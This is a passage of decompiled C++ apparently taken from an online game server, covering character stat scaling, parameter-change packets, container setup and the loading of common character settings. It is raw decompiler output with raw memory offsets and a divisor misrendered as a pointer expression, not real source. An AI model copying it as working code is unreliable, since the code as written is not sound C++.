__int64)(c->Str * v2->Str * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(c->Str * v2->Str * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v3 = c->Con; if ( v3 != 1000 ) { v4 = (signed int)((unsigned __int64)(v3 * v2->Con * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->Con = v4 + ((unsigned int)v4 >> 31); } v5 = c->Dex; if ( v5 != 1000 ) v2->Dex = ((signed int)((unsigned __int64)(v5 * v2->Dex * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v5 * v2->Dex * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v6 = c->Int; if ( v6 != 1000 ) { v7 = (signed int)((unsigned __int64)(v6 * v2->Int * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->Int = v7 + ((unsigned int)v7 >> 31); } v8 = c->Men; if ( v8 != 1000 ) v2->Men = ((signed int)((unsigned __int64)(v8 * v2->Men * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v8 * v2->Men * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v9 = c->WCmin; if ( v9 != 1000 ) { v10 = (signed int)((unsigned __int64)(v9 * v2->WCmin * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->WCmin = v10 + ((unsigned int)v10 >> 31); } v11 = c->WCmax; if ( v11 != 1000 ) v2->WCmax = ((signed int)((unsigned __int64)(v11 * v2->WCmax * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v11 * v2->WCmax * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v12 = c->AC; if ( v12 != 1000 ) { v13 = (signed int)((unsigned __int64)(v12 * v2->AC * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->AC = v13 + ((unsigned int)v13 >> 31); } v14 = c->TH; if ( v14 != 1000 ) v2->TH = ((signed int)((unsigned __int64)(v14 * v2->TH * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v14 * v2->TH * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v15 = c->TB; if ( v15 != 1000 ) { v16 = (signed int)((unsigned __int64)(v15 * v2->TB * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->TB = v16 + ((unsigned int)v16 >> 31); } v17 = c->MAmin; if ( v17 != 1000 ) v2->MAmin = ((signed int)((unsigned __int64)(v17 * v2->MAmin * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v17 * v2->MAmin * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v18 = c->MAmax; if ( v18 != 1000 ) { v19 = (signed int)((unsigned __int64)(v18 * v2->MAmax * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->MAmax = v19 + ((unsigned int)v19 >> 31); } v20 = c->MR; if ( v20 != 1000 ) v2->MR = ((signed int)((unsigned __int64)(v20 * v2->MR * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v20 * v2->MR * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v21 = c->MH; if ( v21 != 1000 ) { v22 = (signed int)((unsigned __int64)(v21 * v2->MH * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->MH = v22 + ((unsigned int)v22 >> 31); } v23 = c->MB; if ( v23 != 1000 ) v2->MB = ((signed int)((unsigned __int64)(v23 * v2->MB * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v23 * v2->MB * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v24 = c->AbsoluteAttack; if ( v24 != 1000 ) { v25 = (signed int)((unsigned __int64)(v24 * v2->AbsoluteAttack * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->AbsoluteAttack = v25 + ((unsigned int)v25 >> 31); } v26 = c->AbsoluteDefend; if ( v26 != 1000 ) v2->AbsoluteDefend = ((signed int)((unsigned __int64)(v26 * v2->AbsoluteDefend * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v26 * v2->AbsoluteDefend * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v27 = c->AbsoluteHit; if ( v27 != 1000 ) { v28 = (signed int)((unsigned __int64)(v27 * v2->AbsoluteHit * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->AbsoluteHit = v28 + ((unsigned int)v28 >> 31); } v29 = c->AbsoluteBlock; if ( v29 != 1000 ) v2->AbsoluteBlock = ((signed int)((unsigned __int64)(v29 * v2->AbsoluteBlock * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v29 * v2->AbsoluteBlock * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v30 = c->MoveSpeed; if ( v30 != 1000 ) { v31 = (signed int)((unsigned __int64)(v30 * v2->MoveSpeed * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->MoveSpeed = v31 + ((unsigned int)v31 >> 31); } v32 = c->HPRecover; if ( v32 != 1000 ) v2->HPRecover = ((signed int)((unsigned __int64)(v32 * v2->HPRecover * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v32 * v2->HPRecover * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v33 = c->SPRecover; if ( v33 != 1000 ) { v34 = (signed int)((unsigned __int64)(v33 * v2->SPRecover * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->SPRecover = v34 + ((unsigned int)v34 >> 31); } v35 = c->CastingTime; if ( v35 != 1000 ) v2->CastingTime = ((signed int)((unsigned __int64)(v35 * v2->CastingTime * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v35 * v2->CastingTime * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v36 = c->Critical; if ( v36 != 1000 ) { v37 = (signed int)((unsigned __int64)(v36 * v2->Critical * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->Critical = v37 + ((unsigned int)v37 >> 31); } v38 = c->PhisycalWeaponMastery; if ( v38 != 1000 ) v2->PhisycalWeaponMastery = ((signed int)((unsigned __int64)(v38 * v2->PhisycalWeaponMastery * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v38 * v2->PhisycalWeaponMastery * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v39 = c->MagicalWeaponMastery; if ( v39 != 1000 ) { v40 = (signed int)((unsigned __int64)(v39 * v2->MagicalWeaponMastery * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->MagicalWeaponMastery = v40 + ((unsigned int)v40 >> 31); } v41 = c->ShieldAC; if ( v41 != 1000 ) v2->ShieldAC = ((signed int)((unsigned __int64)(v41 * v2->ShieldAC * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v41 * v2->ShieldAC * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v42 = c->HitRate; if ( v42 != 1000 ) { v43 = (signed int)((unsigned __int64)(v42 * v2->HitRate * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->HitRate = v43 + ((unsigned int)v43 >> 31); } v44 = c->EvaRate; if ( v44 != 1000 ) v2->EvaRate = ((signed int)((unsigned __int64)(v44 * v2->EvaRate * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v44 * v2->EvaRate * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v45 = c->MACri; if ( v45 != 1000 ) { v46 = (signed int)((unsigned __int64)(v45 * v2->MACri * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->MACri = v46 + ((unsigned int)v46 >> 31); } v47 = c->CriDam; if ( v47 != 1000 ) v2->CriDam = ((signed int)((unsigned __int64)(v47 * v2->CriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v47 * v2->CriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v48 = c->CriDam; if ( v48 != 1000 ) { v49 = (signed int)((unsigned __int64)(v48 * v2->CriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; v2->CriDam = v49 + ((unsigned int)v49 >> 31); } v50 = c->MagCriDam; if ( v50 != 1000 ) v2->MagCriDam = ((signed int)((unsigned __int64)(v50 * v2->MagCriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v50 * v2->MagCriDam * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::operator *="); } //----- (004B3090) -------------------------------------------------------- void __thiscall Parameter::Cluster::c_compareelement(Parameter::Cluster *this, unsigned int curr, unsigned int last, int flag, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::c_compareelement"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::c_compareelement"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( curr != last ) { *(&changepacket[4 * changepacket->changenum + 1].changenum + changepacket->changenum) = flag; *(_DWORD *)(&changepacket[4 * changepacket->changenum + 2].changenum + changepacket->changenum) = curr; ++changepacket->changenum; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::c_compareelement"); } //----- (004B3120) -------------------------------------------------------- int __thiscall Parameter::Cluster::c_compare(Parameter::Cluster *this, Parameter::Cluster *last, PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *changepacket) { Parameter::Cluster *v3; // esi@1 int v4; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::c_compare"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::c_compare"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Parameter::Cluster::c_compareelement(v3, v3->Str, last->Str, 0, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Con, last->Con, 1, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Dex, last->Dex, 2, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Int, last->Int, 3, changepacket); Parameter::Cluster::c_compareelement(v3, v3->Men, last->Men, 5, changepacket); Parameter::Cluster::c_compareelement(v3, v3->WCmin, last->WCmin, 6, changepacket); Parameter::Cluster::c_compareelement(v3, v3->WCmax, last->WCmax, 7, changepacket); Parameter::Cluster::c_compareelement(v3, v3->AC, last->AC, 8, changepacket); Parameter::Cluster::c_compareelement(v3, v3->TH, last->TH, 9, changepacket); Parameter::Cluster::c_compareelement(v3, v3->TB, last->TB, 10, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MAmin, last->MAmin, 11, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MAmax, last->MAmax, 12, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MR, last->MR, 13, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MH, last->MH, 14, changepacket); Parameter::Cluster::c_compareelement(v3, v3->MB, last->MB, 15, changepacket); v4 = changepacket->changenum; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::c_compare"); return v4; } //----- (004B32D0) -------------------------------------------------------- int __thiscall Parameter::Container::Container(int this) { int result; // eax@1 result = this; *(_DWORD *)(this + 3108) = 0; *(_DWORD *)(this + 3112) = 0; *(_DWORD *)(this + 3116) = 0; *(_DWORD *)(this + 3120) = 0; *(_BYTE *)(this + 3124) = 0; *(_DWORD *)(this + 3128) = 0; *(_WORD *)(this + 3104) = -1; *(_WORD *)(this + 3132) = -1; *(_DWORD *)(this + 3136) = 0; *(_DWORD *)(this + 3140) = 0; *(_DWORD *)(this + 3144) = 0; *(_DWORD *)(this + 3148) = 0; *(_BYTE *)(this + 3152) = 0; *(_DWORD *)(this + 3156) = 0; *(_WORD *)(this + 3160) = -1; *(_DWORD *)(this + 3164) = 0; *(_DWORD *)(this + 3168) = 0; *(_DWORD *)(this + 3172) = 0; *(_DWORD *)(this + 3176) = 0; *(_BYTE *)(this + 3180) = 0; *(_DWORD *)(this + 3184) = 0; *(_WORD *)(this + 3188) = -1; *(_DWORD *)(this + 3192) = 0; *(_DWORD *)(this + 3196) = 0; *(_DWORD *)(this + 3200) = 0; *(_DWORD *)(this + 3204) = 0; *(_BYTE *)(this + 3208) = 0; *(_DWORD *)(this + 3212) = 0; *(_WORD *)(this + 3216) = -1; *(_DWORD *)(this + 3220) = 0; *(_DWORD *)(this + 3224) = 0; *(_DWORD *)(this + 3228) = 0; *(_DWORD *)(this + 3232) = 0; *(_BYTE *)(this + 3236) = 0; *(_DWORD *)(this + 3240) = 0; *(_WORD *)(this + 3244) = -1; *(_DWORD *)(this + 3248) = 0; *(_DWORD *)(this + 3252) = 0; *(_DWORD *)(this + 3256) = 0; *(_DWORD *)(this + 3260) = 0; *(_BYTE *)(this + 3264) = 0; *(_DWORD *)(this + 3268) = 0; *(_WORD *)(this + 3272) = -1; *(_DWORD *)(this + 3276) = 0; *(_DWORD *)(this + 3280) = 0; *(_DWORD *)(this + 3284) = 0; *(_DWORD *)(this + 3288) = 0; *(_BYTE *)(this + 3292) = 0; *(_DWORD *)(this + 3296) = 0; return result; } //----- (004B3410) -------------------------------------------------------- void __thiscall Parameter::Container::_Container(int this) { int v1; // esi@1 v1 = this; operator delete__(*(void **)(this + 3296)); operator delete__(*(void **)(v1 + 3268)); operator delete__(*(void **)(v1 + 3240)); operator delete__(*(void **)(v1 + 3212)); operator delete__(*(void **)(v1 + 3184)); operator delete__(*(void **)(v1 + 3156)); operator delete__(*(void **)(v1 + 3128)); } //----- (004B3470) -------------------------------------------------------- void __thiscall Parameter::Container::c_MakeTotal(void *c) { int v1; // ebx@1 v1 = (int)c; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Container::c_MakeTotal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Container::c_MakeTotal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((void *)(v1 + 2880), ¶meter_eraser_plus, 0xC0u); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)v1); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)(v1 + 192)); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)(v1 + 768)); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)(v1 + 2304)); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)(v1 + 1920)); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)(v1 + 960)); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)(v1 + 1728)); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)(v1 + 2112)); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)(v1 + 2496)); Parameter::Cluster::operator__((Parameter::Cluster *)(v1 + 2880), (Parameter::Cluster *)(v1 + 2688)); Parameter::Container::c_TotalPram_MinusCheck(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Container::c_MakeTotal"); } //----- (004B35A0) -------------------------------------------------------- void __thiscall ShineCommonParameter::scp_Load(ShineCommonParameter *this, Name4 *world) { ShineCommonParameter *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 int v5; // eax@1 int v6; // eax@2 void *v7; // eax@5 void *v8; // eax@5 void *v9; // eax@5 void *v10; // eax@5 void *v11; // eax@5 void *v12; // eax@5 void *v13; // eax@5 void *v14; // eax@5 void *v15; // eax@5 void *v16; // eax@5 void *v17; // eax@41 void *v18; // edx@41 void *v19; // ecx@41 void *v20; // eax@41 void *v21; // edx@41 void *v22; // ecx@41 void *v23; // eax@41 void *v24; // edx@41 int v25; // edi@41 double v26; // st7@41 void *v27; // ecx@41 void *v28; // eax@41 void *v29; // edx@41 void *v30; // ecx@41 void *v31; // eax@41 void *v32; // edx@41 void *v33; // ecx@41 int v34; // ebp@42 void *v35; // eax@42 bool v36; // zf@45 int v37; // ebp@48 unsigned int v38; // eax@49 unsigned int v39; // ecx@49 unsigned __int64 v40; // qax@49 unsigned int v41; // ecx@49 unsigned __int64 v42; // kr08_8@49 int v43; // ebp@50 bool v44; // cf@55 ShineCommonParameter::CommonParameter *v45; // edx@56 void *v46; // eax@56 int v47; // edx@56 void *v48; // eax@56 void *v49; // eax@56 int v50; // edx@56 void *v51; // eax@56 ShineCommonParameter::FreeStatStr **v52; // ecx@56 int v53; // edi@63 ShineCommonParameter::FreeStatStr *v54; // eax@67 int v55; // edi@71 ShineCommonParameter::FreeStatInt *v56; // eax@75 int v57; // edi@79 ShineCommonParameter::FreeStatCon *v58; // eax@83 int v59; // edi@87 ShineCommonParameter::FreeStatDex *v60; // eax@91 int v61; // edi@95 ShineCommonParameter::FreeStatMen *v62; // eax@99 ORToken v63; // [sp-24h] [bp-178h]@5 int v64; // [sp-20h] [bp-174h]@5 int v65; // [sp-1Ch] [bp-170h]@5 int v66; // [sp-18h] [bp-16Ch]@5 unsigned int v67; // [sp-14h] [bp-168h]@5 unsigned int v68; // [sp-10h] [bp-164h]@5 unsigned int v69; // [sp-Ch] [bp-160h]@5 int v70; // [sp-8h] [bp-15Ch]@5 ShineCommonParameter::scp_Load::__l7::__unnamed *v71; // [sp-4h] [bp-158h]@5 int v72; // [sp+Ch] [bp-148h]@103 int i; // [sp+10h] [bp-144h]@1 int *v74; // [sp+14h] [bp-140h]@42 char rst; // [sp+1Bh] [bp-139h]@2 ShineCommonParameter::CommonParameter **v76; // [sp+1Ch] [bp-138h]@41 ShineCommonParameter::scp_Load::__l7::__unnamed maxexpbonus; // [sp+20h] [bp-134h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed MinNeedTime; // [sp+28h] [bp-12Ch]@5 ShineCommonParameter::scp_Load::__l7::__unnamed DefaultBonusTime; // [sp+30h] [bp-124h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed walkspeed; // [sp+38h] [bp-11Ch]@5 ShineCommonParameter::scp_Load::__l7::__unnamed IntervalTime; // [sp+40h] [bp-114h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed shoutlevel; // [sp+48h] [bp-10Ch]@5 ShineCommonParameter::scp_Load::__l7::__unnamed AddBuffTime; // [sp+50h] [bp-104h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed levellimit; // [sp+58h] [bp-FCh]@5 ShineCommonParameter::scp_Load::__l7::__unnamed MaxBuffTime; // [sp+60h] [bp-F4h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed RestExpRate; // [sp+68h] [bp-ECh]@5 ShineCommonParameter::scp_Load::__l7::__unnamed PrisonTime; // [sp+70h] [bp-E4h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed attackspeed; // [sp+78h] [bp-DCh]@5 ShineCommonParameter::scp_Load::__l7::__unnamed LostExpLevel; // [sp+80h] [bp-D4h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed shoutdelay; // [sp+88h] [bp-CCh]@5 ShineCommonParameter::scp_Load::__l7::__unnamed runspeed; // [sp+90h] [bp-C4h]@5 ShineCommonParameter::scp_Load::__l7::__unnamed MaxFreeStat; // [sp+98h] [bp-BCh]@5 FunctionEntarance _; // [sp+A0h] [bp-B4h]@1 char buf[32]; // [sp+A4h] [bp-B0h]@1 char path[128]; // [sp+C4h] [bp-90h]@1 unsigned int v96; // [sp+144h] [bp-10h]@1 int v97; // [sp+14Ch] [bp-8h]@103 int v98; // [sp+150h] [bp-4h]@1 v2 = this; v96 = (unsigned int)&i ^ __security_cookie; _.fe_FunctionCode = "ShineCommonParameter::scp_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineCommonParameter::scp_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineCommonParameter::scp_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v5 = *(_DWORD *)&world->n4_name[12]; *(_DWORD *)&buf[4] = v3; *(_DWORD *)&buf[8] = v4; v98 = 0; *(_DWORD *)&buf[12] = v5; buf[16] = 0; sprintf(path, "../9Data/Hero/World/%s/ChrCommon.txt"); if ( !OptionReader::or_Read(&v2->scp_or, path) ) { sprintf(path, "../9Data/Hero/World/ChrCommon.txt"); rst = OptionReader::or_Read(&v2->scp_or, path); v6 = OptionReader::or_ErrorLine(&v2->scp_or); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "PrimaryParameterTable::ppt_Load : Error in read : ChrCommon.txt", v6); ShineExit("ShineCommonParameter::scp_Load"); } } v71 = &runspeed; v70 = 0; v69 = (unsigned int)"RunSpeed"; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v7 = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &walkspeed; v70 = 0; v69 = (unsigned int)"WalkSpeed"; runspeed.pnt = v7; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v8 = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &shoutlevel; v70 = 0; v69 = (unsigned int)"ShoutLevel"; walkspeed.pnt = v8; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); shoutlevel.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &attackspeed; v70 = 0; v69 = (unsigned int)"AttackSpeed"; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v9 = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &shoutdelay; v70 = 0; v69 = (unsigned int)"ShoutDelay"; attackspeed.pnt = v9; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v10 = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &levellimit; v70 = 0; v69 = (unsigned int)"LevelLimit"; shoutdelay.pnt = v10; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); levellimit.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &maxexpbonus; v70 = 0; v69 = (unsigned int)"MaxExpBonus"; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v11 = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &RestExpRate; v70 = 0; v69 = (unsigned int)"RestExpRate"; v68 = (unsigned int)"key"; maxexpbonus.pnt = v11; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v12 = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &MinNeedTime; v70 = 0; v69 = (unsigned int)"MinNeedTime"; RestExpRate.pnt = v12; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); MinNeedTime.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &DefaultBonusTime; v70 = 0; v69 = (unsigned int)"DefaultBonusTime"; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v13 = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &IntervalTime; v70 = 0; v69 = (unsigned int)"IntervalTime"; DefaultBonusTime.pnt = v13; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); IntervalTime.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &AddBuffTime; v70 = 0; v69 = (unsigned int)"AddBuffTime"; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); AddBuffTime.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &MaxBuffTime; v70 = 0; v69 = (unsigned int)"MaxBuffTime"; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v14 = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &PrisonTime; v70 = 0; v69 = (unsigned int)"PrisonTime"; MaxBuffTime.pnt = v14; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v15 = 